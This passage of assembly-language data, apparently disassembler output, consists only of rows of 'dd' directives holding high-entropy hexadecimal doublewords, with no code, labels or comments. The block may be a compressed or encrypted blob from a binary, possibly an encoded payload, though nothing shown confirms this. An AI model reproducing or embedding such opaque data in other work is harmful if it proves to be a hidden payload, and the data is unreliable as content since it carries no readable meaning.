		dd 137C4060h, 283F6044h, 984BBFE7h, 69BC2F1Dh, 0AE229831h
		dd 4518A1A2h, 5968902Ch, 21143A21h, 91541368h, 9FCC3103h
		dd 0BD5908C0h, 0B8889775h, 29BE0F2Ah, 78204015h, 0D3380260h
		dd 0CC288BF8h, 0BE5991B8h, 303E6B32h, 0E9A89090h, 21D9C33Fh
		dd 28002B04h, 1BC0D61Ah, 30E8269Eh, 78409A55h, 0D014360Ah
		dd 10D09581h, 47C8C865h, 302AA562h, 8D18ADD8h, 2130BBFFh
		dd 98B9C1CCh, 87092DDDh, 0A1CDBF68h, 97724991h,	0F17FC898h
		dd 6281334h, 7880DC45h,	92E2C56Bh, 7BBF31C3h, 2B182A41h
		dd 9F8284Ch, 0F5848058h, 0A5D4889Fh, 1864AD24h,	0FFC03937h
		dd 63B601FDh, 0A69030E3h, 0CE3F1914h, 0DE18144Ch, 34E84458h
		dd 0BD6791C1h, 28209A95h, 38B9C17Ah, 48B3D61Bh,	9542F9A4h
		dd 744D2DB2h, 77A2B8B7h, 0CE421494h, 33718221h,	7846010Ch
		dd 0D8A8FE3Ch, 851A7C28h, 0D2086B59h, 0F1C40FFFh, 847128A4h
		dd 0E9A1EA46h, 6F210AA7h, 99A8A211h, 7D888942h,	106ABA44h
		dd 92A2A1B1h, 841A7211h, 9528AF39h, 790A2184h, 8C9441F8h
		dd 9092269h, 0A46C105Ch, 32A9D249h, 4C681D60h, 0E1483837h
		dd 2AC78160h, 61B53CBFh, 0A5840440h, 49994C3Dh,	0A3FF0C40h
		dd 2B902A60h, 64095388h, 931278B3h, 311348A0h, 0B0094247h
		dd 11A4ACEFh, 792129A4h, 81BC0C4Ch, 8B26F961h, 0A0119848h
		dd 692A0E19h, 80485C91h, 0BC30DE0Ch, 1260117Dh,	218DB1C9h
		dd 23A222E8h, 60A843DCh, 21376149h, 0E1E91871h,	53BA28A6h
		dd 0A880F603h, 900E5B5Eh, 83EC54h, 5D185C78h, 84EB689Ah
		dd 97FD0B0h, 0DF499526h, 50FB81Dh, 0FB32A061h, 245865Ch
		dd 56955F11h, 0DCC26F28h, 32A7FC60h, 0A1034AE8h, 78810538h
		dd 0BAC5A754h, 8269EC81h, 87584087h, 0C165C043h, 6352063Dh
		dd 4E177C40h, 10033E82h, 0F1E497B9h, 0E461329Ch, 540300Ch
		dd 4F0F3BB8h, 0C01C3095h, 28880E36h, 3D9B0E7Fh,	3B8A4E14h
		dd 81A6B60h, 0F060437h,	1D70954Eh, 0FA8A474Fh, 18489115h
		dd 328663C0h, 87016209h, 5B0C564Fh, 60752149h, 283C180Ch
		dd 0C45D1Ah, 98470F1Bh,	6C5A73FCh, 280038ACh, 0FC7DAC74h
		dd 3A3C9C7Ah, 6B2B610Ah, 8040A314h, 21FC6B79h, 63EE54ADh
		dd 9536963Dh, 2F89B74h,	0A20489Ah, 4238EB45h, 0E0AA04A0h
		dd 1A778FBh, 0A684E563h, 0E46BEF5Ch, 741D1B72h,	4C044E87h
		dd 34C03A95h, 9A1A33ADh, 604FE800h, 564028ACh, 4E48FC49h
		dd 63170098h, 74548583h, 4C11F894h, 5067404Ah, 1D288055h
		dd 59F06B88h, 6C282099h, 865BFC03h, 0A35D163Eh,	4662C248h
		dd 5A881C74h, 1090F422h, 0FCAF0460h, 30594848h,	143C9A00h
		dd 447A620h, 36FD90B2h,	587D24B4h, 4E047781h, 546045A1h
		dd 0F878135Ah, 1BD00363h, 0DC05C5Dh, 40C49F61h,	0C0C3854Fh
		dd 93FA020h, 3A587A4Ch,	403C4D0Fh, 0A1008C48h, 3A94612Dh
		dd 48EE6211h, 992670B0h, 530FFC43h, 1502949h, 84690DA0h
		dd 0A04CC1DFh, 0A15A6089h, 4458AC0Ch, 95651103h, 63681477h
		dd 429BDC40h, 0C87861A3h, 3E5C5B78h, 0F306017h,	0F1428720h
		dd 4F11A18Fh, 631A4880h, 9164993h, 18345A65h, 52AA043Eh
		dd 479C83F8h, 3D58C105h, 2201D473h, 20044F83h, 3C606395h
		dd 36BE034Eh, 0E3585D13h, 0B89DCC15h, 16091827h, 0F0049458h
		dd 0E1CC069h, 0FE88463h, 3D0FE890h, 98915E48h, 58439B30h
		dd 3C787C10h, 34024E18h, 7D9D611Ah, 0CAD7C047h,	6985F5F8h
		dd 0C4905F05h, 0B0349A7Dh, 0E49559B4h, 0D83958C4h, 98B0970Ch
		dd 33884D16h, 9295DC0Eh, 381ED81Dh, 3287163Eh, 1C81C424h
		dd 98B3758h, 0C40A0F49h, 964851E4h, 0C0418750h,	4C119A7Eh
		dd 26012070h, 1B108563h, 9BE3695Dh, 0D3640BC1h,	0F20C8BDh
		dd 0D22C4F52h, 80303C1Fh, 4C094387h, 2135344Eh,	5F208058h
		dd 183E3A9Bh, 22B0604Dh, 52FA9A7Fh, 5048185Ch, 0A08C8314h
		dd 121B1781h, 0BF045BBBh, 3D8F46A0h, 6D544F01h,	6C333BF4h
		dd 522925E0h, 96C51C57h, 1F183A0Ah, 34C00793h, 2E24D467h
		dd 68035361h, 560041BCh, 671E42EAh, 71C3DF3h, 3A28E761h
		dd 2E3F0069h, 1A42F458h, 1DC95131h, 0FB505056h,	0E0008B52h
		dd 96D4EFAh, 79B1F3Eh, 5F3A4306h, 732EC0F4h, 323A2903h
		dd 3444005Ch, 39273761h, 1FD4E956h, 38053A62h, 40D6BB1Fh
		dd 24FD761Dh, 0FE0F6D3Ah, 56363Ch, 95A3B26h, 5D320044h
		dd 7AF137FBh, 76E863E7h, 6D9C43F9h, 623926D8h, 0F5621C0h
		dd 7C5A1F27h, 603A1DFAh, 631D4CFDh, 6D702D98h, 0C2E253Ah
		dd 68215E17h, 7E500549h, 0A323CF8h, 5D342880h, 561F5A81h
		dd 8CE126F8h, 621B6085h, 80682FFAh, 0A60355Ah, 56401F38h
		dd 5C3A0009h, 613262F4h, 2E3EF301h, 5A4AD89Bh, 228D4D0h
		dd 0FB09601Fh, 4B631Ch,	1D32F4E0h, 39F86D1Dh, 0CC86214h
		dd 90FF67F1h, 1BC8A157h, 558560B9h, 323CF46Bh, 1045FA38h
		dd 0D26EAF0h, 4A036D32h, 3044F0E8h, 415C28C3h, 1F58A182h
		dd 0DC001C21h, 6043FF68h, 29382035h, 3C3A0967h,	3E067030h
		dd 43039B33h, 7CF349E8h, 0A911C840h, 804450C4h,	8AF18C23h
		dd 330C417Ch, 2B7C40E2h, 36FD3E62h, 88C58BA0h, 0DC1D2A0Ah
		dd 0D050FB0Ah, 0B840261Bh, 135F4FFAh, 1E3839FEh, 80415404h
		dd 56203B0Eh, 5C172162h, 4C1DB085h, 3460F1F0h, 0D0CF7BE2h
		dd 290C9E2Eh, 323F28F3h, 67E959F1h, 58252005h, 0BA0EF431h
		dd 8CE1088Ch, 72121F30h, 1C1CFB3Bh, 5AF12A00h, 90352B07h
		dd 0F44CFB44h, 2478A45Ch, 1238661Fh, 0CC20101Eh, 32F89B18h
		dd 277C0962h, 56E85A66h, 3A4213C0h, 2F201761h, 4480FA18h
		dd 117EA254h, 0C164A00h, 0F5049542h, 1E1508B8h,	4480BC99h
		dd 0E3D1A262h, 0B041C016h, 0A391717Eh, 448D3700h, 2D90547Ch
		dd 0D190029h, 1A2817B9h, 3830CD3Ch, 1E1B5016h, 49E701D2h
		dd 0F0CFFA98h, 0A488830Dh, 479D8Eh, 83AD3E80h, 0AE15C177h
		dd 0EF94C001h, 1C556699h, 3BB2081h, 4F8C4206h, 6C861120h
		dd 0F596A181h, 5844012Eh, 1765C882h, 7080B94Bh,	49D9EF9Bh
		dd 0F6D44206h, 60093A0Dh, 0E77B21C7h, 3ECA85D9h, 0CCF974CAh
		dd 0A0B8080Dh, 0C0848600h, 6AF00B24h, 1C495652h, 6936CA20h
		dd 47D079BAh, 114005B2h, 58887F8Ch, 0FC4800FBh,	9745A3F2h
		dd 4D669C13h, 210F08h, 69FC405Ah, 0B5F12B58h, 866233Eh
		dd 7FDC3E5h, 0C0255D1Bh, 0E3E61538h, 634FD300h,	39DA1DEBh
		dd 4E930626h, 0D0EA2B67h, 6A70A000h, 0BB15169Eh, 8AA9C0CCh
		dd 0B2DEF84Eh, 9D735A01h, 0A08E7BCAh, 0E97CB441h, 0CF5889DCh
		dd 3264A240h, 0A4910AAAh, 0BF6E23F4h, 3A1CE451h, 0A9E8AA50h
		dd 1FA83250h, 0D49688h,	0D13D984Ch, 0B6ACDE95h,	0FA8FB302h
		dd 433AF97Eh, 0A1F1E024h, 0E09890D1h, 2C918202h, 8EC1848h
		dd 0FC4246D9h, 7640D3C4h
		dd 0BBBD9E4h, 37BA4018h, 88100CC8h, 9A0AC21Fh, 98BE2E70h
		dd 2A671201h, 6420404Bh, 0E0115473h, 7B4D0097h,	8EB91A83h
		dd 935648CAh, 2A28201Ch, 0A41833h, 17AF909Ch, 0BA51521h
		dd 9A52F300h, 0CE9013Dh, 1DF700B9h, 19EA1165h, 0AFA37967h
		dd 85F893E1h, 0DEA259F8h, 82B3E84Eh, 8C1D6145h,	440278E4h
		dd 207966BDh, 0A90E093h, 0D0DBA215h, 607A08C4h,	60695EA3h
		dd 70303825h, 0C9020AB1h, 0EAA29BF5h, 59B88094h, 6096CC98h
		dd 0BB375062h, 1054C2E8h, 9203F28Ch, 7E9A545Ah,	7693C933h
		dd 21FF0898h, 5A058A53h, 20E22244h, 512E8C40h, 0CE5B98Dh
		dd 0E9886D2h, 1944C9C0h, 244C04h, 51FF511h, 0EA8B0A27h
		dd 68338C03h, 0A0480516h, 10ABF698h, 0C011D084h, 2826E281h
		dd 76A77020h, 0ECA0E48Ch, 3F8983CEh, 97C1841Bh,	10801DDDh
		dd 9B8A1141h, 0FC4A0114h, 1855A3F0h, 205C8907h,	0A40C0953h
		dd 0F024A566h, 0F89412F9h, 4A4800FEh, 18212D98h, 8AFFF8C0h
		dd 0B0B244h, 32119235h,	5125A49Ah, 0E6200461h, 0B4501AC3h
		dd 0E6BB6DAh, 96A2EC77h, 9C92CF61h, 94B2D998h, 0BCDC38C0h
		dd 61008CFDh, 0A1DD345Eh, 0C02B5166h, 4567F0B0h, 25E72E12h
		dd 8EF08C48h, 55E321D1h, 40D99429h, 63F8E0h, 5A7001B0h
		dd 1FEFDEF5h, 6E4FA3Eh,	735B6EEBh, 88195241h, 301446C0h
		dd 0B00435Eh, 988B138Dh, 26688EF3h, 9190A2EAh, 22F103C5h
		dd 0F87B369Fh, 50892882h, 603DE0B9h, 0C6C05850h, 0B0097CAh
		dd 186ACB8Fh, 984C14ABh, 0F2F02030h, 40A46C73h,	23785A48h
		dd 0D2911EE5h, 9C59114Dh, 4C800B88h, 90535A89h,	0A39B022Ah
		dd 1C9CA210h, 0A460F8CAh, 638048A5h, 812B003Fh,	0D76E1F2Eh
		dd 0F42EC4F0h, 959D0CFAh, 94C21D22h, 3518305Ch,	0FD2A8667h
		dd 44186C9Fh, 0AE39109Dh, 0AD420AC1h, 838F06Ch,	0C3E2C99h
		dd 18F140CDh, 0A995F8D5h, 98EC7FB8h, 0A8D150AAh, 2BE23B3Ah
		dd 11B4CA26h, 0D9EE8046h, 430C4244h, 0C622F7h, 9ED9E678h
		dd 0A288A309h, 9950BA64h, 809F2C7h, 48CADC14h, 84674h
		dd 0ABFDD44Bh, 93D1C82Bh, 30943870h, 44048062h,	210D34A5h
		dd 0C2173AE9h, 381412F8h, 8A90A079h, 3A2C009Ah,	63F93D6Ah
		dd 24C4F023h, 4FE08035h, 0B8CFEFE0h, 0D31E0E2Fh, 0FD0E36AFh
		dd 5783E008h, 0CE72AE4h, 0CC48A3Fh, 25019CB9h, 974A8BAEh
		dd 0E02654AAh, 6434F700h, 963C27CEh, 0F39D3516h, 6E1E0C00h
		dd 24D159C1h, 3FB82611h, 4FF9813h, 3D41258h, 0A69BC042h
		dd 8E1E2699h, 559040F4h, 0C665EE98h, 0E4084D28h, 0D9F0C04Ch
		dd 0DC21424Ah, 0FCF91F6h, 0E0D9E87Ah, 5511DC8Eh, 0A04E1DA2h
		dd 30CC0416h, 5D509018h, 5EECFFF1h, 0A4A1BF02h,	8A406996h
		dd 0AACE64A8h, 0BF808417h, 0A3AE4D88h, 1F820ACDh, 0C0E07691h
		dd 0CB8EFF99h, 89C4BA30h, 73080933h, 0C7A20063h, 98E7F2DBh
		dd 0E528359Ah, 10494EAh, 1AE3431Bh, 543738D0h, 0A09201D0h
		dd 98B7ED5Fh, 32089857h, 384BD821h, 6681D3D0h, 0F88D877Eh
		dd 4C6353h, 5BF7CD25h, 2427C63Ah, 0C51409CBh, 9F8C8078h
		dd 43048B74h, 9A6825A0h, 31E710C2h, 0F5003193h,	22642676h
		dd 8B520BFEh, 0E802FB5Ah, 0C8020931h, 4D0C4CC5h, 945C8Fh
		dd 48174125h, 0E4890711h, 48D9DC82h, 2092F204h,	849846CCh
		dd 0F7680370h, 1E6986A3h, 0CCA41005h, 0E401FCC8h, 0C01C393Ch
		dd 9464A0FCh, 0BC5CD6ECh, 26D13D24h, 8A080479h,	329712A9h
		dd 0E040907Ch, 88187530h, 6B091B1h, 91189AC0h, 180979C4h
		dd 6CC301CCh, 9E9B7243h, 20E85CAAh, 0D27EA013h,	91E97C40h
		dd 2ABF8D03h, 24A41997h, 0C468D4A2h, 34BCDCA0h,	0E212FD42h
		dd 0E424401Ch, 4ADAA271h, 95FF740Eh, 34856290h,	4D74C0DEh
		dd 0E0B0822Ah, 9347EA2h, 40CB181Ah, 0FCE23052h,	3BF16B31h
		dd 41F8AFC1h, 3A2098CCh, 34C9A30Bh, 3F23A094h, 8ED05003h
		dd 2B62DCA0h, 0D047D421h, 79CE7AF8h, 3C40153h, 0A1F78D9Dh
		dd 928A715Eh, 0EC625AC0h, 0ACBC6132h, 8EA200D6h, 29D42BA1h
		dd 2971EF8h, 6079985Fh,	51459B30h, 60A0D207h, 0FFE64F64h
		dd 6D3A4300h, 59F9C9Dh,	44982BEBh, 469428D0h, 0FC460286h
		dd 3135A3ECh, 3E581005h, 0F89D12FCh, 0C6500243h, 2CC59FF6h
		dd 0E2279010h, 293ECC20h, 0C3764288h, 1020365Ch, 0A1110B10h
		dd 2B5780D9h, 76E77A35h, 0A97B0639h, 492AE269h,	2E566B0Bh
		dd 476F8009h, 748DDE9h,	8F6696C2h, 583BF01Ch, 2169E341h
		dd 56408031h, 2EC376B8h, 25FD847h, 53EE953Ch, 3D46EC94h
		dd 90D04E02h, 25312FA0h, 0D045D610h, 486BD716h,	106F4465h
		dd 4C4B9100h, 0B18D8C66h, 988E4100h, 0AD09B8DEh, 0AA401FDh
		dd 0A00BBBD2h, 1F9DF3Dh, 5B08203Fh, 25D70F2h, 8433241Ch
		dd 8D3D98E0h, 0C798DCFFh, 29695775h, 39259C02h,	35013CC5h
		dd 0C220DF92h, 8C416858h, 94D05204h, 0DA384FA0h, 0D1D04900h
		dd 33A7528h, 82810168h,	3E881876h, 0A5A88199h, 0AC9BF60Ah
		dd 0F041C931h, 0E30231E5h, 0ED160864h, 4B00B204h, 5C57582Eh
		dd 0C51918C0h, 307130F5h, 18409580h, 58C4F690h,	990B2D92h
		dd 24B91AAEh, 0A854DEF0h, 23116413h, 24F15B48h,	0A2D8730Bh
		dd 7B6C30D2h, 0A15F301Fh, 6D40E849h, 0A2446068h, 3E40AD96h
		dd 6C944CC0h, 590C0496h, 1865072Ch, 2B457E81h, 5171192h
		dd 4023E2D8h, 0B405C394h, 0C500921Eh, 6B5F823Fh, 3D0FD583h
		dd 130E1B4Eh, 8F015E16h, 32CEF288h, 14A11018h, 6E12184Ch
		dd 0C8308E99h, 35CBC20Ah, 0E2F20960h, 0F65D05E8h, 0BB6609C8h
		dd 9D5E8065h, 9678C4EFh, 40CA3A18h, 0B78B5CFCh,	162FCD0h
		dd 49AE6A0h, 0F850B5BAh, 9400FE74h, 0B57D1F4Ch,	716DD8CDh
		dd 0F81C1C0Eh, 30585744h, 0B80C1D98h, 0B2CB5001h, 0FB4FDC0Dh
		dd 14A8FC38h, 38094586h, 9E220A0h, 0C22286A0h, 0C891ECEDh
		dd 47842043h, 7F5B61B7h, 0FA7CF848h, 737D0265h,	4DF85AAAh
		dd 4C918063h, 0BCDC3C32h, 0B30E8CD2h, 0E00149EDh, 96A3E9A8h
		dd 13589E55h, 0EA48D292h, 115A9430h, 888E9A52h,	8C518007h
		dd 0ECE41A5Ah, 5BC48103h, 0B1BD8A03h, 10776B44h, 3C231848h
		dd 70044D13h, 18D827A0h, 44D58824h, 865AD03Bh, 22DD66A2h
		dd 58630148h, 0A34CD9A6h, 16D436C6h, 3081247Fh,	0D30FBDEh
		dd 0F29C02D0h, 0E647D82Ah, 0E11644CCh, 8C441D2Eh, 40D89020h
		dd 4A981919h, 334210C9h, 30C9A204h, 41627593h, 3DA9B8h
		dd 1077953Eh, 3B15C50Fh, 0C03B1DFAh, 52702DA2h,	0F8335080h
		dd 0C9DF8717h, 6492A849h, 582F2498h, 25D4004Fh,	0FA2D68CEh
		dd 0AF00D37Dh, 0D112A0C2h, 0EC6A6E6Ch, 2AFB05Eh, 9CA40C21h
		dd 0B049EB58h, 6CBE10FFh, 0E6F87861h, 49D80059h, 5502EBECh
		dd 2703338Fh, 0C3E59206h, 9731000Eh, 5CF80862h,	24A867EFh
		dd 0FE016F96h, 3DF5BE0Ch, 63ECC219h, 18DA0F53h,	37E00EB5h
		dd 0BB6D989Dh, 0CB152139h, 9A074847h, 31C5CDF0h, 0E0E80141h
		dd 7290A6E2h, 36147013h, 50044B49h, 48C421Ch, 0A093D053h
		dd 20236257h, 9BD04AD7h, 6701816h, 0F7A68040h, 0A10DF394h
		dd 0A8331CC0h, 5031D910h, 0C484B0DCh, 1ADB80h, 2D90ADA2h
		dd 18172C50h, 0A68F8820h, 0FEB89D41h, 880B6901h, 4318B448h
		dd 99022F37h, 0BF5A9856h, 0F8F04416h, 794B832h,	0A2B75BD4h
		dd 9EC082B1h, 1886451h,	9B59004Ah, 22E23CD2h, 0B6DF51C0h
		dd 5F85C7h, 2FBE50B2h
		dd 0F590520Bh, 0E9BCA106h, 2080175Ah, 18CA1826h, 6C0D84A8h
		dd 69A6A1DFh, 16602912h, 6BCC90E2h, 60ECF4Dh, 0C047580Eh
		dd 9CCE3E3Ch, 93700D97h, 37A820EFh, 0B1860950h,	0CBC4E3Ch
		dd 1FE23B56h, 62137459h, 0D30EE9B7h, 42F12029h,	7173938Bh
		dd 80D49EBAh, 48E1D522h, 8A496B75h, 0B3A285F4h,	12A044D8h
		dd 22CFEE68h, 4CE502E0h, 6732E4h, 0B8CF8AD9h, 0BA232904h
		dd 14901363h, 0AB159D1Eh, 5241A2D8h, 36DCA15Ch,	954D9710h
		dd 0F5A00D60h, 441DA73h, 997EA1EBh, 0A43CE421h,	13555E13h
		dd 3980821h, 9D4B075h, 0B93A15E8h, 5D0080CBh, 95CEE774h
		dd 0D307B029h, 2ADEEDF1h, 0F0DD4B23h, 631E232h,	0C2F26AB5h
		dd 101CA119h, 0D1401DECh, 0B9919F18h, 0CD51C0C1h, 4233A01h
		dd 2F1AD200h, 51A2E255h, 5424129Dh, 8534C748h, 0ABEC0BF0h
		dd 11235C82h, 83D9AC00h, 97C80045h, 5D1EA2EAh, 9F0BF1F2h
		dd 785CB8Eh, 0A0C18B60h, 0C450B58Ah, 9E1E2D45h,	8F912CCh
		dd 8D12250Ch, 95C34400h, 11CD99F8h, 3C2080BFh, 0AE160740h
		dd 87E077DBh, 0D6C1DD53h, 0FF40061Eh, 412E919Ah, 63467810h
		dd 343B4CE1h, 0C0E96070h, 0ACA4F042h, 5C4BEB5Ah, 4CECAA9Bh
		dd 0EE3839E0h, 3DCC4E6Bh, 6F18394Ch, 0C3A4EB20h, 0C8E9DF8h
		dd 0A5C0D588h, 1346418Fh, 30DA54B6h, 0DDAF37B0h, 90E1B22Dh
		dd 90FDA7F8h, 0DC8E0093h, 728BC0A2h, 91770C23h,	4514EE98h
		dd 87F0BA27h, 0B006650h, 723B2539h, 0AE61012Dh,	54799440h
		dd 0EA9E498h, 0CB4CC8A0h, 11FCDC49h, 44485891h,	38EACE01h
		dd 24F0688Fh, 3D189B04h, 8E381329h, 1F9E5A88h, 69350B98h
		dd 0C48B4460h, 4E9868F3h, 0FD232C2Fh, 0D19E8201h, 0C3C34Dh
		dd 0BE3B719h, 67B9E966h, 9E287301h, 5D7E817Bh, 1620C8h
		dd 92358A4Eh, 47828CD9h, 27654448h, 5E2085EDh, 0A542F820h
		dd 92E8B61Ch, 4428D37Eh, 390158E1h, 22BC5874h, 0AC67070Ah
		dd 788AFFh, 92B714DBh, 0E706FA00h, 0A5A84574h, 788748C8h
		dd 0EFC16E3Ah, 0FF6494B8h, 803C50CBh, 13951EA4h, 0F80A0062h
		dd 4987E979h, 8005F38h,	14B4AEE1h, 10153F3h, 627FF7F4h
		dd 80589FDAh, 4D3A3931h, 3F1DE230h, 966F426h, 99012144h
		dd 95514D32h, 4C21F65Fh, 0E04818E7h, 6BEC09ABh,	6054E718h
		dd 6CF5C10h, 28DEC959h,	0E5007833h, 68ECD387h, 0DA2208h
		dd 0A3C6D88Eh, 4217E163h, 0C5DFD518h, 0F027EB40h, 0EF2F30E5h
		dd 0EA658110h, 0F2093F00h, 99EC80DAh, 8D621D5Fh, 87668390h
		dd 0A83F5AE1h, 0D4C2004Bh, 47DCDE26h, 60F645h, 32169B8Bh
		dd 0B1EC1B18h, 208AA0CEh, 6259F80Dh, 1317E2Ah, 353C9339h
		dd 98348B5Eh, 0CB212308h, 0EE180F28h, 6FC35FB0h, 2E71DE3h
		dd 0A480A395h, 281478E8h, 291E9F3Eh, 0DB11B099h, 314D429Ch
		dd 7E1C25E2h, 704D009Ah, 7FBA57FBh, 1E503CDEh, 8B00029Ch
		dd 0AF478599h, 1504B0F5h, 0E477485Dh, 63E56205h, 0E89401F1h
		dd 50A81F4Dh, 0EE07E4C8h, 0C758F80h, 0F2139734h, 48CD798h
		dd 0E22D4D35h, 27506205h, 9F4DE096h, 1C008D2Fh,	0A41BDAEAh
		dd 6048DEF9h, 9CD9A03Ah, 1F51240Bh, 3C0120CEh, 249718CEh
		dd 40803389h, 0C560DDFBh, 33965950h, 0C43DDCh, 0B7E4F27Fh
		dd 1020E9DBh, 1809487Eh, 50B85210h, 17652024h, 0B4005A59h
		dd 0A67D9530h, 620C9070h, 52ED708Ch, 3032200Ch,	0D861F772h
		dd 0E203A391h, 63E9580h, 0E3093079h, 0A3893821h, 447BD700h
		dd 0C26D939Fh, 0E258C176h, 218B2DDCh, 0F67DF024h, 0A4AA5C7Ch
		dd 9886B404h, 18082D24h, 701C9335h, 180024C7h, 5719DCA5h
		dd 12815FF2h, 222968D6h, 7920EF90h, 9FCEFAh, 0F432829Ah
		dd 0C50289F3h, 61B8DD00h, 0DCA6012Dh, 6E89231h,	0CD67CE4h
		dd 0E90A1025h, 845C6997h, 0CC042812h, 3A25EBCFh, 74523FCh
		dd 97D77330h, 7BD5B0B6h, 604454F9h, 0F3A322D4h,	0CCECF814h
		dd 0BA958798h, 0DB53268Fh, 968A0220h, 0EE6A8906h, 838B8881h
		dd 2921F8D4h, 50A1E032h, 2BA8B084h, 93371118h, 801F880Ch
		dd 761822C9h, 2700D5B4h, 6B541784h, 0C8FFEE0h, 0F61BD4D8h
		dd 5020A78h, 15BFE362h,	0F88C805Eh, 61DA7965h, 0A6C27826h
		dd 0C8F0A054h, 103A4422h, 39BF609Fh, 0E23B018Bh, 0EFCAE76h
		dd 0F662208Fh, 20711032h, 18B463F1h, 3B7C9811h,	0CC1DAC73h
		dd 95A0F103h, 0A21833B8h, 0F9593146h, 27F4309Fh, 8E7F981h
		dd 1B9CDE89h, 93C2873Bh, 45B1A7F5h, 602151B6h, 4D8F9020h
		dd 0A824B0D0h, 0ED0B0D74h, 10A3FC10h, 8B4A5D05h, 6801BCA6h
		dd 5F317D87h, 30C00902h, 0E18355ADh, 1FCA5D6h, 68326E53h
		dd 284968h, 3C7D720h, 6B65B815h, 800FB095h, 835FF701h
		dd 0E088ADAh, 6C580B60h, 59D812C0h, 5F670513h, 0C04801E0h
		dd 1CF4C68Bh, 92813D80h, 22C9008h, 0B3141356h, 9049C8D6h
		dd 0EB3C3461h, 4F8D8F18h, 24D98548h, 835490D4h,	71D6FB0Ah
		dd 0ABF62970h, 739A0804h, 50D0527Fh, 0D41FD8AEh, 1112450h
		dd 0DD5C095Fh, 7234A3F9h, 8EA11FE4h, 650FC064h,	7D126FE3h
		dd 0D44A900h, 59A41932h, 0C9201797h, 0C0D2095Eh, 8139E022h
		dd 0ADA8A08Ch, 76284840h, 3AC90DFh, 601F7CACh, 91100C25h
		dd 1069324Ch, 2B2AA80Eh, 7D0B82E0h, 60645DA2h, 39EA8C44h
		dd 0A44DCEC8h, 0E99FEB06h, 1916684Dh, 6402977Fh, 86792BFFh
		dd 0F991E3FCh, 833ACDF4h, 1D8C7812h, 0E8670820h, 0C618C268h
		dd 320021ECh, 18BCB18Bh, 98C89D45h, 9481D77Bh, 6C1F3424h
		dd 22709084h, 80F9E528h, 7DC120h, 92AD7BE1h, 0DA283347h
		dd 970DB304h, 2C815BA0h, 64618E4Eh, 414F6C20h, 920430D9h
		dd 0A4387548h, 30892882h, 3A111830h, 25883493h,	1827CA80h
		dd 14A884h, 0EE57206Bh,	919FE940h, 47805951h, 1C19E4F0h
		dd 0D124C100h, 50FA87E4h, 49A084E5h, 0E93CD05Eh, 531EC700h
		dd 394A7BB1h, 85D32603h, 128905h, 2BB56A71h, 1B380635h
		dd 27E30B03h, 430FCD5Ah, 686678C1h, 4D10F1ECh, 0C1A479C6h
		dd 4874CE50h, 0B4A83BFCh, 1B504311h, 12889DD8h,	2D8B09DAh
		dd 200189A3h, 25630127h, 0B6BD6080h, 0DEE99001h, 0C6E155D3h
		dd 21790898h, 0B600DD23h, 26356A45h, 733D1A5Dh,	9164657Dh
		dd 83F025CCh, 55A7D6BCh, 87CC2830h, 182E048Ch, 6724933Ch
		dd 25CC8EA8h, 9AEDB1C3h, 2433D822h, 0BEB8FE72h,	0EF67C980h
		dd 295E3F2Dh, 0E955C102h, 8441D5B7h, 38C131DCh,	8851876Ah
		dd 0D454537Bh, 0E67FAC04h, 2FB21612h, 0EE231Ch,	0DAF2D6CCh
		dd 0C00A44C7h, 848F94FFh, 0EA6595C0h, 4D8A576h,	0C21B7EE8h
		dd 2049DDA4h, 7F6C2027h, 0FAE100F5h, 0BC5F55DAh, 0CCED5CDDh
		dd 98427371h, 0B967209Ah, 27F189A8h, 0CA93C18h,	78528665h
		dd 938906A6h, 106B7275h, 0D2BBDA1Eh, 8F3B4BC7h,	292BCC3h
		dd 0C1677938h, 84847AB8h, 0AB9340E6h, 740E37h, 99AF3E98h
		dd 3B4DFD5h, 6D064B05h,	3CC1463Ah, 31024E35h, 0FB7380B1h
		dd 37EB4900h, 0A489126Ch, 1AD2386Eh, 0D99C218Eh, 5A077A67h
		dd 4D3BC090h, 689173F6h, 0B0642B11h, 3B242ABh, 87C8FD4Fh
		dd 80923A4Dh, 8E45C12h,	96F82058h, 43509145h, 99298111h
		dd 730C3CF8h, 0E84919F3h, 0AC4209E5h, 90A0F082h, 0D680F67Dh
		dd 50763C20h, 0C542C9EBh, 905520F8h, 9BDD2A38h,	0C044E44Ah
		dd 0B8158DA6h, 0DF012523h, 0EEE98EB6h, 1D887018h, 0C2B609D7h
		dd 0C0826EE6h, 511124D4h
		dd 0AC1200EEh, 271FF116h, 0F712ED62h, 0AB5A9CD2h, 11FC1DA0h
		dd 8BD78046h, 3A464E1h,	1205FEACh, 74F80EB2h, 87526719h
		dd 108C48ECh, 228184Ch,	73CE44C4h, 1982EB16h, 8A33B82Ch
		dd 60268804h, 238FB6E4h, 7511D6E9h, 0B6DC2400h,	4445395Ah
		dd 1ADF4700h, 8A22DA51h, 331C00A1h, 6158CC1h, 21A2B21h
		dd 476817C9h, 60704474h, 139D10DBh, 8068AE77h, 751162A0h
		dd 2943454h, 67317460h,	718E842Dh, 119A0354h, 0F1C99FDDh
		dd 0BC9DEBC0h, 48388A30h, 88FE0659h, 58A9C74h, 0A4C15494h
		dd 3A057633h, 0E792314h, 862C175h, 30604118h, 322888EFh
		dd 732AD4E5h, 4303D8FAh, 0D70EEB2Ch, 1A6B98F8h,	7AB10784h
		dd 7988D8E0h, 6789C2Ah,	98209212h, 90605445h, 0C0EE0486h
		dd 0CCD7FADAh, 30B06B50h, 3024AC32h, 74F028CCh,	29126E46h
		dd 0C8B0CB32h, 0C99AC019h, 0D4B90588h, 40DE43h,	0E7798229h
		dd 3B153089h, 0AF44A490h, 31592C1Eh, 0A392C000h, 9D4680E3h
		dd 3900F022h, 8C30A38Ah, 12971D90h, 0C1D8DE7Fh,	0AC1B89C4h
		dd 60925071h, 8546BC91h, 2068072h, 1828298Eh, 9821D20h
		dd 998975B7h, 674EE002h, 0F480D900h, 72152676h,	13036750h
		dd 40C08BEDh, 0B84B9533h, 0A7237C3Eh, 0C30BA7F9h, 0ACE4CE80h
		dd 932258A4h, 0B6E00108h, 23F6E98Bh, 0D82080F8h, 3F3CCB6h
		dd 0E3E2A501h, 39809021h, 2284D15h, 8EB09047h, 0D82E4E34h
		dd 0C4C2B8C2h, 3FD42674h, 5F189F8h, 8BC4A0Ah, 93E61DBh
		dd 96F4F7E5h, 860CA1D4h, 0DAD07014h, 7430C68Ah,	46E3D011h
		dd 0DD130DFCh, 0F848E527h, 7A169C1Fh, 380562ADh, 3005E143h
		dd 449059DEh, 0ACB095B1h, 1C84942Ch, 223CEACDh,	764D84B7h
		dd 0FFF68644h, 85652020h, 0CB307549h, 721482DAh, 0ACCC5878h
		dd 9DD81228h, 3458041Ah, 95001C2Eh, 3BD4E090h, 1120B1EEh
